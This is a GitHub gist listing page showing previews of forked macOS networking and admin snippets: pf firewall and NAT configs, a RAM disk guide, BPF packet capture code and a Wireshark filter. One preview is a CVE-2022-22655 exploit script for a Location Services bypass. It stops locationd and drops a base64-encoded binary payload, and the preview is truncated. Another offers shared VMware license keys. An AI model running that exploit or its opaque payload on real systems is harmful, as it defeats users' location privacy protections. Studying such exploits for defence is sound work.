Skip to content

Instantly share code, notes, and snippets.

@fbion
fbion / mullvad.pf.conf
Created September 14, 2023 07:46
mullvad vpn pfctl
r scrub-anchor "com.apple/*" all fragment reassemble
r anchor "com.apple/*" all
r anchor "mullvad" all
n nat-anchor "com.apple/*" all
n rdr-anchor "com.apple/*" all
n rdr-anchor "mullvad" all
A com.apple
A mullvad
com.apple r anchor "200.AirDrop/*" all
com.apple r anchor "250.ApplicationFirewall/*" all
@fbion
fbion / macos-ramdisk.md
Created September 11, 2023 09:18 — forked from htr3n/macos-ramdisk.md
Creating RAM disk in macOS

Built-in

diskutil erasevolume HFS+ 'RAM Disk' `hdiutil attach -nobrowse -nomount ram://XXXXX`

where XXXXX is the size of the RAM disk in terms of memory blocks.

Notes:

@fbion
fbion / bpf.c
Created September 10, 2023 11:08 — forked from c-bata/bpf.c
Capture packets from bpf devices on macOS.
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/uio.h>
#include <unistd.h>
#include <string.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <net/bpf.h>
@fbion
fbion / bpf.c
Created September 10, 2023 11:08 — forked from banister/bpf.c
Capture packets from bpf devices on macOS.
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/uio.h>
#include <unistd.h>
#include <string.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <net/bpf.h>
@fbion
fbion / cve_2022_22655_mount_locationd.sh
Created March 12, 2023 03:37 — forked from theevilbit/cve_2022_22655_mount_locationd.sh
CVE-2022-22655 - macOS Location Services Bypass
#!/bin/zsh
echo "++ Stopping locationd"
sudo launchctl stop com.apple.locationd
echo "++ Dropping swiftliverpool"
echo z/rt/gcAAAEDAAAAAgAAAB4AAACwDQAAhQAgAAAAAAAZAAAASAAAAF9fUEFHRVpFUk8AAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZAAAA+AQAAF9fVEVYVAAAAAAAAAAAAAAAAAAAAQAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAUAAAAFAAAADwAAAAAAAABfX3RleHQAAAAAAAAAAAAAX19URVhUAAAAAAAAAAAAALAtAAABAAAAa0AAAAAAAACwLQAABAAAAAAAAAAAAAAAAAQAgAAAAAAAAAAAAAAAAF9fc3R1YnMAAAAAAAAAAABfX1RFWFQAAAAAAAAAAAAAHG4AAAEAAACiAAAAAAAAABxuAAABAAAAAAAAAAAAAAAIBACAAAAAAAYAAAAAAAAAX19zdHViX2hlbHBlcgAAAF9fVEVYVAAAAAAAAAAAAADAbgAAAQAAAB4BAAAAAAAAwG4AAAIAAAAAAAAAAAAAAAAEAIAAAAAAAAAAAAAAAABfX2NvbnN0AAAAAAAAAAAAX19URVhUAAAAAAAAAAAAAOBvAAABAAAALgEAAAAAAADgbwAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF9fc3dpZnQ1X3R5cGVyZWZfX1RFWFQAAAAAAAAAAAAADnEAAAEAAAAkAAAAAAAAAA5xAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAX19vYmpjX21ldGhuYW1lAF9fVEVYVAAAAAAAAAAAAAAycQAAAQAAACwBAAAAAAAAMnEAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAABfX2NzdHJpbmcAAAAAAAAAX19UR
If you'r using MAC Intel CPU you want to use VMware to virtual your desired OS such Windows or Ubuntu on the MAC OS you need to download VMware Fusion Player first then it has two version Pro and Player, the Player version is free for personal use but you need to create VM account to download and licence key.
You can create account to download yourself here:
https://customerconnect.vmware.com/group/vmware/evalcenter?p=fusion-player-personal
If you don't want to create account to get license, you can try below original license key for VMware Fusion Player:
COMPONENT:
VMware Fusion Player – Personal Use
@fbion
fbion / wireshark-tls-sni-http-filter
Created October 20, 2022 00:32 — forked from gregjhogan/wireshark-tls-sni-http-filter
wireshark tls sni and http filter
ssl.handshake.extension.type == "server_name" || http.host
nvram set local_domain=$(nvram get lan_ipaddr)
nvram commit
@fbion
fbion / pf_nat
Created October 8, 2022 08:56 — forked from retspen/pf_nat
Enable NAT on macOS
#!/bin/bash
cat > /usr/local/etc/pf-nat.conf << EOF
nat on en0 from vnic1:network to any -> (en0)
EOF
sudo pfctl -d
sudo sysctl -w net.inet.ip.forwarding=1
sudo pfctl -f /usr/local/etc/pf-nat.conf -e
@fbion
fbion / pfdump.sh
Created October 7, 2022 07:23 — forked from vitaly/pfdump.sh
script to dump PF status
#!/bin/bash
function pfprint() {
if [ -n "$1" ];then
sudo pfctl -a "$2" -s"$1" 2>/dev/null
else
sudo pfctl -s"$1" 2>/dev/null
fi
}